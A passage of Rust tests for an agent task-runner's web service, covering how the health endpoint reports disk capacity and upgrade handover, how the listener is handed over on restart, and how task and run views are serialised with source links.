25507            cache_bytes: Some(400),
25508        }
25509    }
25510
25511    #[tokio::test]
25512    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
25513        let home = TempDir::new().unwrap();
25514        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
25515        let mut ui = delta_test_ui(home.path());
25516        let state = Arc::get_mut(&mut ui).unwrap();
25517        state.repo = home.path().to_owned();
25518        state.worktrees_root = home.path().join("worktrees");
25519        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25520        ui.monitor
25521            .worker_started
25522            .store(true, std::sync::atomic::Ordering::SeqCst);
25523        let cfg = deputy_config(&ui.repo);
25524        let scope = DiskScope::of(&ui, cfg.as_ref());
25525        let (started, reached) = tokio::sync::oneshot::channel();
25526        let (release, blocked) = std::sync::mpsc::channel();
25527        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
25528            started.send(()).unwrap();
25529            // A failed request assertion must also let the blocking worker exit.
25530            let _ = blocked.recv();
25531            known_disk_capacity()
25532        });
25533        assert!(cold.runs_bytes.is_none());
25534        tokio::time::timeout(Duration::from_secs(5), reached)
25535            .await
25536            .unwrap()
25537            .unwrap();
25538
25539        let requests: Vec<_> = (0..4)
25540            .map(|_| {
25541                let ui = ui.clone();
25542                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
25543            })
25544            .collect();
25545        // This is a causal independence check, not a five-second latency
25546        // benchmark. Leave room for unrelated filesystem/thread contention
25547        // when the entire unit suite runs concurrently.
25548        let completed = tokio::time::timeout(Duration::from_secs(60), async {
25549            for request in requests {
25550                let view = request.await.unwrap();
25551                let disk = serde_json::to_value(view.disk).unwrap();
25552                assert!(disk["runs_bytes"].is_null());
25553                assert!(disk["worktrees_bytes"].is_null());
25554                // Free space is a cheap live observation even while the
25555                // recursive capacity measurement remains blocked.
25556                assert!(disk["free_bytes"].is_u64());
25557            }
25558        })
25559        .await;
25560        if completed.is_err() {
25561            release.send(()).unwrap();
25562            wait_for_disk_scan(&ui.monitor.disk).await;
25563            panic!("health must return while the measurement is causally blocked");
25564        }
25565        assert!(ui.monitor.disk.lock().unwrap().in_flight);
25566        // No competing worker can have published while the first holds flight.
25567        assert!(
25568            ui.monitor
25569                .disk
25570                .lock()
25571                .unwrap()
25572                .capacity
25573                .runs_bytes
25574                .is_none()
25575        );
25576        release.send(()).unwrap();
25577        wait_for_disk_scan(&ui.monitor.disk).await;
25578        assert_eq!(
25579            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
25580            Some(200)
25581        );
25582    }
25583
25584    #[tokio::test]
25585    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
25586        let home = TempDir::new().unwrap();
25587        let scope = disk_test_scope(home.path());
25588        let state = Arc::new(Mutex::new(DiskObservation {
25589            scope: Some(scope.clone()),
25590            capacity: known_disk_capacity(),
25591            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
25592            ..Default::default()
25593        }));
25594        let (started, reached) = tokio::sync::oneshot::channel();
25595        let (release, blocked) = std::sync::mpsc::channel();
25596        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
25597            started.send(()).unwrap();
25598            blocked.recv().unwrap();
25599            DiskCapacity {
25600                runs_bytes: Some(250),
25601                ..Default::default()
25602            }
25603        });
25604        assert_eq!(before.cache_bytes, Some(400));
25605        tokio::time::timeout(Duration::from_secs(5), reached)
25606            .await
25607            .unwrap()
25608            .unwrap();
25609        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25610        for _ in 0..4 {
25611            let scans = duplicate_scans.clone();
25612            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
25613                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25614                DiskCapacity::default()
25615            });
25616            assert_eq!(during.runs_bytes, Some(200));
25617            assert_eq!(during.cache_bytes, Some(400));
25618        }
25619        release.send(()).unwrap();
25620        wait_for_disk_scan(&state).await;
25621        let scans = duplicate_scans.clone();
25622        let after = DiskObservation::observe(&state, scope, move |_| {
25623            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25624            DiskCapacity::default()
25625        });
25626        wait_for_disk_scan(&state).await;
25627        assert_eq!(after.runs_bytes, Some(250));
25628        assert_eq!(after.free_bytes, Some(100));
25629        assert_eq!(after.cache_bytes, Some(400));
25630        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25631        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
25632    }
25633
25634    #[tokio::test]
25635    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
25636        let home = TempDir::new().unwrap();
25637        let old_scope = disk_test_scope(home.path());
25638        let mut new_scope = old_scope.clone();
25639        new_scope.cache = Some(home.path().join("replacement-cache"));
25640        let state = Arc::new(Mutex::new(DiskObservation {
25641            scope: Some(old_scope.clone()),
25642            capacity: known_disk_capacity(),
25643            ..Default::default()
25644        }));
25645        let (started, reached) = tokio::sync::oneshot::channel();
25646        let (release, blocked) = std::sync::mpsc::channel();
25647        DiskObservation::observe(&state, old_scope, move |_| {
25648            started.send(()).unwrap();
25649            blocked.recv().unwrap();
25650            known_disk_capacity()
25651        });
25652        tokio::time::timeout(Duration::from_secs(5), reached)
25653            .await
25654            .unwrap()
25655            .unwrap();
25656        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25657        let scans = duplicate_scans.clone();
25658        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
25659            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25660            DiskCapacity::default()
25661        });
25662        assert!(changed.cache_bytes.is_none());
25663        assert!(changed.runs_bytes.is_none());
25664        release.send(()).unwrap();
25665        wait_for_disk_scan(&state).await;
25666        {
25667            let observation = state.lock().unwrap();
25668            assert!(observation.capacity.cache_bytes.is_none());
25669            assert!(observation.finished.is_none());
25670        }
25671        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
25672            assert_eq!(scope, &new_scope);
25673            DiskCapacity {
25674                cache_bytes: Some(999),
25675                ..Default::default()
25676            }
25677        });
25678        wait_for_disk_scan(&state).await;
25679        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
25680        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25681    }
25682
25683    #[tokio::test]
25684    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
25685        let home = TempDir::new().unwrap();
25686        let scope = disk_test_scope(home.path());
25687        let state = Arc::new(Mutex::new(DiskObservation {
25688            scope: Some(scope.clone()),
25689            capacity: known_disk_capacity(),
25690            ..Default::default()
25691        }));
25692        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
25693        wait_for_disk_scan(&state).await;
25694        {
25695            let mut observation = state.lock().unwrap();
25696            assert_eq!(observation.capacity.cache_bytes, Some(400));
25697            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
25698            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
25699        }
25700        DiskObservation::observe(&state, scope, |_| DiskCapacity {
25701            cache_bytes: Some(450),
25702            ..Default::default()
25703        });
25704        wait_for_disk_scan(&state).await;
25705        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
25706    }
25707
25708    #[test]
25709    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
25710        let home = TempDir::new().unwrap();
25711        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
25712        assert_eq!(disk_capacity_size(home.path()), Some(0));
25713        std::fs::create_dir(home.path().join("nested")).unwrap();
25714        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
25715        assert_eq!(disk_capacity_size(home.path()), Some(5));
25716        #[cfg(unix)]
25717        {
25718            // Unix distinguishes an invalid descendant lookup from absence.
25719            assert_eq!(
25720                disk_capacity_size(&home.path().join("nested/data/child")),
25721                None
25722            );
25723        }
25724        #[cfg(unix)]
25725        {
25726            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
25727            assert_eq!(disk_capacity_size(home.path()), Some(5));
25728        }
25729    }
25730
25731    #[tokio::test]
25732    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
25733        // `mode = "off"` for the same reason as the test above: a default
25734        // fixture repo falls back to `mode = "notify"`, which would make this
25735        // route's new `update` field a live, unauthenticated GitHub call on
25736        // every assertion in this suite that happens to hit `/api/health`.
25737        let repo = TempDir::new().expect("repo dir");
25738        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25739            .expect("write magi.toml");
25740        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25741
25742        let health = fx.get("/api/health").await.json();
25743        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
25744        assert_eq!(
25745            health["update"]["available"], false,
25746            "checking is off, which reads as \"unknown\", not \"none\""
25747        );
25748        assert!(health["update"]["to"].is_null());
25749        assert!(
25750            health["upgrade"].is_null(),
25751            "nothing has ever asked this deck to upgrade"
25752        );
25753    }
25754
25755    #[tokio::test]
25756    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
25757        let fx = Fixture::start().await;
25758        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
25759
25760        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25761        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25762        progress.advance(crate::updater::Stage::Parking);
25763        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25764
25765        let health = fx.get("/api/health").await.json();
25766        assert_eq!(health["upgrade"]["stage"], "parking");
25767        assert_eq!(health["upgrade"]["from"], "0.5.1");
25768        assert_eq!(health["upgrade"]["to"], "0.5.2");
25769        let waiting_on = health["upgrade"]["waiting_on"]
25770            .as_str()
25771            .expect("waiting_on is set while parking a known run");
25772        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25773        assert!(waiting_on.contains("implementing"), "{waiting_on}");
25774    }
25775
25776    #[tokio::test]
25777    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
25778        let fx = Fixture::start().await;
25779        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25780        progress.advance(crate::updater::Stage::Done);
25781        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25782
25783        let health = fx.get("/api/health").await.json();
25784        assert_eq!(health["upgrade"]["stage"], "done");
25785        assert!(
25786            health["upgrade"]["waiting_on"].is_null(),
25787            "nothing to wait on once it is done"
25788        );
25789    }
25790
25791    /// The handover signal is seen however the race falls, and wakes its one
25792    /// waiter once per signal - nothing here can spin.
25793    #[tokio::test]
25794    async fn the_handover_signal_wakes_one_waiter_once() {
25795        let signal = Notify::new();
25796        // Signalled before anyone waits: the stored permit is not lost.
25797        signal.notify_one();
25798        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
25799            .await
25800            .expect("an early signal is still seen");
25801        // One signal, one wake-up: a second wait does not resolve by itself.
25802        assert!(
25803            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
25804                .await
25805                .is_err(),
25806            "a consumed signal must not wake a second time"
25807        );
25808        // Signalled while waiting.
25809        let signal = std::sync::Arc::new(signal);
25810        let waiter = tokio::spawn({
25811            let signal = std::sync::Arc::clone(&signal);
25812            async move { wait_for_handover(&signal).await }
25813        });
25814        tokio::time::sleep(Duration::from_millis(20)).await;
25815        assert!(!waiter.is_finished(), "nothing was signalled yet");
25816        signal.notify_one();
25817        tokio::time::timeout(Duration::from_secs(5), waiter)
25818            .await
25819            .expect("a late signal wakes the waiter")
25820            .expect("join");
25821    }
25822
25823    #[tokio::test]
25824    async fn health_says_how_long_a_handover_has_been_stuck() {
25825        let fx = Fixture::start().await;
25826        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25827        progress.advance(crate::updater::Stage::Replaced);
25828        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
25829        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25830
25831        let health = fx.get("/api/health").await.json();
25832        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
25833        assert!(stuck >= 600, "{stuck}");
25834        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
25835        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
25836    }
25837
25838    #[tokio::test]
25839    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
25840        let home = tempfile::tempdir().expect("temp home");
25841        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25842        progress.advance(crate::updater::Stage::Parking);
25843        crate::updater::write_progress(home.path(), &progress).expect("seed");
25844        // What the second upgrade_and_restart and its handler do.
25845        let mut again = progress.clone();
25846        again.advance(crate::updater::Stage::Replaced);
25847        crate::updater::write_progress(home.path(), &again).expect("replaced");
25848        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25849        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
25850        let after = crate::updater::read_progress(home.path()).expect("record");
25851        assert_eq!(after.stage, crate::updater::Stage::Parking);
25852    }
25853
25854    #[tokio::test]
25855    async fn health_does_not_call_a_live_parking_wait_stuck() {
25856        let fx = Fixture::start().await;
25857        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25858        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25859        progress.advance(crate::updater::Stage::Parking);
25860        let hours = Duration::from_secs(3 * 3600);
25861        progress.started_at = Timestamp::now() - hours;
25862        progress.updated_at = Timestamp::now() - hours;
25863        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25864        let _lease = crate::updater::LeaseGuard::enter(
25865            fx.home.path(),
25866            Some("20260905-000000-cd51".to_owned()),
25867        );
25868
25869        let health = fx.get("/api/health").await.json();
25870        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
25871        assert!(health["upgrade"]["stuck_kind"].is_null());
25872        assert_eq!(health["upgrade"]["handover_alive"], true);
25873        let waiting_on = health["upgrade"]["waiting_on"]
25874            .as_str()
25875            .expect("waiting_on");
25876        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25877    }
25878
25879    fn idle_ui(home: &TempDir) -> Ui {
25880        let runs = home.path().join("runs");
25881        std::fs::create_dir_all(&runs).expect("runs dir");
25882        Ui::new(
25883            Queue::at(home.path().join("queue")),
25884            Questions::at(home.path().join("questions")),
25885            Talks::at(home.path().join("talks")),
25886            runs,
25887            home.path().to_path_buf(),
25888            PathBuf::from("/repo/magi"),
25889        )
25890        .with_launch(launch_idle)
25891    }
25892
25893    #[tokio::test]
25894    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
25895        let home = TempDir::new().expect("temp home");
25896        let ui = idle_ui(&home);
25897        let lease = crate::worker::try_lease(home.path(), "scheduler")
25898            .expect("scheduler lease")
25899            .expect("free");
25900        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
25901            .expect("request stop");
25902        let error = ui
25903            .start_detached_loop()
25904            .await
25905            .expect_err("transition is still live");
25906        assert_eq!(error.status, StatusCode::CONFLICT);
25907        assert!(error.message.contains("still running or stopping"));
25908        assert_eq!(
25909            crate::worker::control(home.path(), "scheduler").unwrap(),
25910            Some(crate::worker::Control::Stop)
25911        );
25912        drop(lease);
25913    }
25914
25915    #[tokio::test]
25916    async fn handover_releases_listener_without_waiting_for_execution_leases() {
25917        let home = TempDir::new().expect("temp home");
25918        let ui = idle_ui(&home);
25919        let turns = ui
25920            .begin_talk_turn("active-chat")
25921            .expect("claim")
25922            .expect("free");
25923        let execution = crate::worker::try_lease(home.path(), "active-task")
25924            .expect("execution lease")
25925            .expect("free");
25926        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25927            .await
25928            .expect("bind loopback");
25929        let address = listener.local_addr().expect("address");
25930        let admissions = Arc::clone(&ui.admissions);
25931        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
25932        let successor_started = std::sync::atomic::AtomicBool::new(false);
25933        tokio::time::timeout(
25934            Duration::from_secs(2),
25935            hand_over(home.path(), &admissions, served, || {
25936                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25937                Ok(1)
25938            }),
25939        )
25940        .await
25941        .expect("restart must not wait for execution")
25942        .expect("handover");
25943        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25944        // BSD may retain the address briefly after listener release. The real
25945        // successor uses the same bounded bind retry rather than a one-shot bind.
25946        let successor = bind_waiting(address)
25947            .await
25948            .expect("successor binds released address");
25949        assert_eq!(successor.local_addr().unwrap(), address);
25950        assert!(turns.owns(), "the chat lease survives restart");
25951        assert!(
25952            crate::worker::try_lease(home.path(), "active-task")
25953                .unwrap()
25954                .is_none()
25955        );
25956        drop(execution);
25957        drop(turns);
25958    }
25959
25960    #[tokio::test]
25961    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
25962        let home = TempDir::new().expect("temp home");
25963        let ui = idle_ui(&home);
25964        let admission = ui.begin_admission().expect("admit send");
25965        let turn = ui
25966            .begin_talk_turn("active-chat")
25967            .expect("claim")
25968            .expect("free");
25969        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25970            .await
25971            .expect("bind loopback");
25972        let address = listener.local_addr().expect("address");
25973        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
25974        let successor_called = std::sync::atomic::AtomicBool::new(false);
25975        let handover = hand_over(home.path(), &ui.admissions, served, || {
25976            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
25977            Ok(1)
25978        });
25979        tokio::pin!(handover);
25980        // Poll exactly to the writer waiting on our admission guard. This
25981        // pins the race without sleeps or assumptions about task scheduling.
25982        std::future::poll_fn(|cx| {
25983            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25984            std::task::Poll::Ready(())
25985        })
25986        .await;
25987        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
25988        assert!(
25989            ui.begin_admission().is_err(),
25990            "new ingress cannot race the drain"
25991        );
25992        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
25993        drop(admission);
25994        tokio::time::timeout(Duration::from_secs(2), handover)
25995            .await
25996            .expect("only publication may delay restart")
25997            .expect("handover");
25998        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
25999        assert!(
26000            turn.owns(),
26001            "the detached chat turn is not awaited or cancelled"
26002        );
26003        assert!(
26004            ui.begin_admission().is_err(),
26005            "old accepted connections stay closed"
26006        );
26007        drop(turn);
26008    }
26009
26010    #[test]
26011    fn health_worker_metadata_never_contains_payload_or_result() {
26012        let view = WorkerView::from(crate::worker::Job {
26013            id: "job".into(),
26014            sequence: 1,
26015            kind: "service".into(),
26016            key: "maintenance".into(),
26017            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
26018            generation: "generation".into(),
26019            version: Some("1.2.3".into()),
26020            status: crate::worker::Status::Running,
26021            result: Some("private diagnostics".into()),
26022            pid: Some(4242),
26023            created_at: 1,
26024            finished_at: None,
26025        });
26026        let value = serde_json::to_value(view).expect("serialize public metadata");
26027        assert_eq!(value["version"], "1.2.3");
26028        assert_eq!(value["pid"], 4242);
26029        assert!(value.get("payload").is_none());
26030        assert!(value.get("result").is_none());
26031        assert!(!value.to_string().contains("private"));
26032    }
26033
26034    #[test]
26035    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
26036        let home = TempDir::new().expect("temp home");
26037        let ui = idle_ui(&home);
26038        std::fs::write(
26039            home.path().join("daemon.json"),
26040            serde_json::json!({
26041                "schema": 2, "pid": 4242, "worker_protocol": 1,
26042                "updated_at": Timestamp::now().to_string(), "idle": true,
26043            })
26044            .to_string(),
26045        )
26046        .expect("status");
26047        let reading = daemon::read_status(home.path());
26048        assert!(Foreign::of(reading.as_ref()).is_none());
26049        let view = ui.runtime_loop_view(reading, &[]);
26050        assert!(view.running);
26051        assert!(view.owned);
26052    }
26053
26054    #[test]
26055    fn only_an_explicit_one_requests_a_resume() {
26056        assert!(!resume_requested(None));
26057        assert!(!resume_requested(Some("0".into())));
26058        assert!(!resume_requested(Some("".into())));
26059        assert!(resume_requested(Some("1".into())));
26060    }
26061
26062    #[test]
26063    fn an_error_is_visible_from_where_the_button_is() {
26064        // The alert used to sit in the flow under the header. On a phone
26065        // scrolled 13 500 px down to a run's action sheet that is off screen,
26066        // so tapping Resume and being told "the loop is running run b455
26067        // right now" looked exactly like a button that did nothing.
26068        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
26069            ..APP_CSS.find(".alert-text").expect(".alert-text")];
26070        assert!(
26071            alert.contains("position: fixed"),
26072            "an error about the thing under your thumb has to be visible from \
26073             where your thumb is: {alert}"
26074        );
26075        assert!(
26076            alert.contains("z-index: 25"),
26077            "above the dock (20) and the run-actions FAB (15), so neither \
26078             buries it: {alert}"
26079        );
26080        assert!(
26081            alert.contains("var(--tap)"),
26082            "and clear of the dock and the home indicator: {alert}"
26083        );
26084        // The FAB sits at the same height on the right. An error that covered
26085        // it would hide the button the operator reaches for next.
26086        assert!(
26087            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
26088            "the FAB's column stays free: {alert}"
26089        );
26090    }
26091
26092    #[tokio::test]
26093    async fn an_older_attempt_says_what_replaced_it() {
26094        let fx = Fixture::start().await;
26095        let q = fx.queue();
26096        let runs = fx.runs();
26097        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26098        write_run(&runs, first, RunStatus::Stalled);
26099        write_run(&runs, second, RunStatus::Blocked);
26100
26101        let mut t = Task::new(
26102            "one task".to_owned(),
26103            "do it".to_owned(),
26104            PathBuf::from("/repo"),
26105            Source::Human,
26106        );
26107        t.runs = vec![first.to_owned(), second.to_owned()];
26108        q.put(&mut t).expect("put");
26109
26110        // Two cards with the same title and no hint which is which was the
26111        // question: "why are there two of the same, one stalled and one
26112        // blocked?" The older one now names its replacement.
26113        let rows = fx.get("/api/runs").await.json();
26114        let by = |short: &str| -> Value {
26115            rows.as_array()
26116                .unwrap()
26117                .iter()
26118                .find(|r| r["short"] == short)
26119                .cloned()
26120                .unwrap_or(Value::Null)
26121        };
26122        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
26123        assert!(
26124            by("bbbb")["superseded_by"].is_null(),
26125            "the latest attempt is not superseded by anything"
26126        );
26127        // Front end: the note has to be rendered, not just carried.
26128        assert!(APP_JS.contains("run.superseded_by"));
26129        assert!(APP_JS.contains("Superseded by"));
26130    }
26131
26132    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
26133        let mut t = Task::new(
26134            "one task".to_owned(),
26135            "do it".to_owned(),
26136            PathBuf::from("/repo"),
26137            Source::Human,
26138        );
26139        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
26140        t.status = status;
26141        t
26142    }
26143
26144    #[test]
26145    fn source_link_picks_the_page_that_filed_the_task() {
26146        let agent = |node: &str| Source::Agent {
26147            run: "20260904-014455-ab12".to_owned(),
26148            node: node.to_owned(),
26149        };
26150        let chat = source_link(&agent("chat")).expect("chat link");
26151        assert_eq!(chat.kind, "chat");
26152        assert_eq!(chat.id, "20260904-014455-ab12");
26153        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
26154        let run = source_link(&agent("implement")).expect("run link");
26155        assert_eq!(
26156            (run.kind, run.href.as_str()),
26157            ("run", "#/runs/20260904-014455-ab12")
26158        );
26159        assert_eq!(source_link(&Source::Human), None);
26160        assert_eq!(
26161            source_link(&Source::Issue {
26162                number: 3,
26163                repo: "o/r".to_owned()
26164            }),
26165            None
26166        );
26167        let odd = source_link(&Source::Agent {
26168            run: "a b/c".to_owned(),
26169            node: "chat".to_owned(),
26170        })
26171        .expect("link");
26172        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
26173    }
26174
26175    #[test]
26176    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
26177        assert!(
26178            !APP_JS.contains("src.node === \"chat\""),
26179            "inline href rule is back"
26180        );
26181        assert!(
26182            APP_JS.matches("sourceLinkOf(").count() >= 4,
26183            "helper must serve every page"
26184        );
26185        assert!(
26186            APP_JS.matches("openChatLink(").count() >= 3,
26187            "the run page still needs its explicit chat link"
26188        );
26189        assert!(
26190            !APP_JS.contains("const openChat = el("),
26191            "the Queue card duplicates its source label link again"
26192        );
26193        assert!(
26194            APP_JS.contains("metaKids.push(link ? el(\"a\""),
26195            "the task page must link a chat source label too"
26196        );
26197    }
26198
26199    #[test]
26200    fn task_ref_carries_the_source_link_for_a_chat_task() {
26201        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
26202        t.source = Source::Agent {
26203            run: "20260904-014455-ab12".to_owned(),
26204            node: "chat".to_owned(),
26205        };
26206        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
26207        let v = serde_json::to_value(&out).expect("json");
26208        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
26209        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
26210        assert_eq!(v["source_label"], t.source.label());
26211
26212        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
26213        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
26214            .expect("json");
26215        assert!(v["source_link"].is_null(), "{v}");
26216    }
26217
26218    #[test]
26219    fn task_view_serializes_source_link() {
26220        let mut t = Task::new(
26221            "t".to_owned(),
26222            "t".to_owned(),
26223            PathBuf::from("/repo"),
26224            Source::Agent {
26225                run: "20260901-000000-aaaa".to_owned(),
26226                node: "implement".to_owned(),
26227            },
26228        );
26229        t.runs.clear();
26230        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26231        assert_eq!(v["source_link"]["kind"], "run", "{v}");
26232        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
26233    }
26234
26235    #[test]
26236    fn task_view_serializes_urgent_flag() {
26237        let mut t = Task::new(
26238            "t".to_owned(),
26239            "t".to_owned(),
26240            PathBuf::from("/repo"),
26241            Source::Human,
26242        );
26243        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
26244        assert_eq!(v["urgent"], false, "{v}");
26245        t.urgent = true;
26246        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26247        assert_eq!(v["urgent"], true, "{v}");
26248        assert!(APP_JS.contains("task.urgent === true"));
26249    }
26250
26251    #[test]
26252    fn task_view_serializes_immediate_flag_and_ui_hooks() {
26253        let mut t = Task::new(
26254            "t".to_owned(),
26255            "t".to_owned(),
26256            PathBuf::from("/repo"),
26257            Source::Human,
26258        );
26259        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
26260        assert_eq!(v["immediate"], false, "{v}");
26261        t.immediate = true;
26262        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26263        assert_eq!(v["immediate"], true, "{v}");
26264        assert!(APP_JS.contains("task.immediate === true"));
26265        assert!(APP_JS.contains("/immediate"));
26266    }
26267
26268    #[tokio::test]
26269    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
26270        let fx = Fixture::start().await;
26271        let runs = fx.runs();
26272        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26273        write_run(&runs, old, RunStatus::Blocked);
26274        write_run(&runs, new, RunStatus::Merged);
26275        let mut t = outcome_task(&[old, new], TaskStatus::Done);
26276        fx.queue().put(&mut t).expect("put");
26277
26278        let view = fx.get(&format!("/api/runs/{old}")).await.json();
26279        let task = &view["task"];
26280        assert_eq!(task["status"], "done");
26281        assert_eq!(task["is_latest"], false);
26282        assert_eq!(task["latest"]["short"], "bbbb");
26283        assert_eq!(task["finished_by"]["id"], new);
26284        assert_eq!(task["finished_by"]["outcome"], "merged");
26285        assert_eq!(task["closed_by_hand"], false);
26286        assert_eq!(view["status"], "blocked", "the run keeps its own status");
26287        assert!(APP_JS.contains("finished_by"));
26288        assert!(APP_JS.contains("superseded by run"));
26289    }
26290
26291    #[tokio::test]
26292    async fn the_latest_run_reports_a_held_task_without_a_successor() {
26293        let fx = Fixture::start().await;
26294        let runs = fx.runs();
26295        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26296        write_run(&runs, old, RunStatus::Stalled);
26297        write_run(&runs, new, RunStatus::Blocked);
26298        let mut t = outcome_task(&[old, new], TaskStatus::Held);
26299        fx.queue().put(&mut t).expect("put");
26300
26301        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
26302        assert_eq!(task["status"], "held");
26303        assert_eq!(task["is_latest"], true);
26304        assert!(task["latest"].is_null());
26305        assert!(task["finished_by"].is_null());
26306        assert_eq!(task["closed_by_hand"], false);
26307    }
26308
26309    #[tokio::test]
26310    async fn a_direct_run_has_no_task_outcome() {
26311        let fx = Fixture::start().await;
26312        let runs = fx.runs();
26313        let id = "20260901-000000-aaaa";
26314        write_run(&runs, id, RunStatus::Blocked);
26315        let view = fx.get(&format!("/api/runs/{id}")).await.json();
26316        assert!(view["task"].is_null());
26317    }
26318
26319    #[test]
26320    fn task_outcome_does_not_guess_a_finishing_run() {
26321        let a = "20260901-000000-aaaa";
26322        let b = "20260901-000000-bbbb";
26323        let c = "20260901-000000-cccc";
26324        let dir = tempfile::tempdir().expect("tempdir");
26325        write_run(dir.path(), a, RunStatus::Blocked);
26326        write_run(dir.path(), b, RunStatus::VerifiedNoop);
26327        // `c` has no record: unreadable.
26328        let read = |id: &str| read_run(dir.path(), id).ok();
26329        // Neither a blocked run nor a no-op finished the task; the newest run is
26330        // unreadable and still named.
26331        let t = outcome_task(&[a, b, c], TaskStatus::Done);
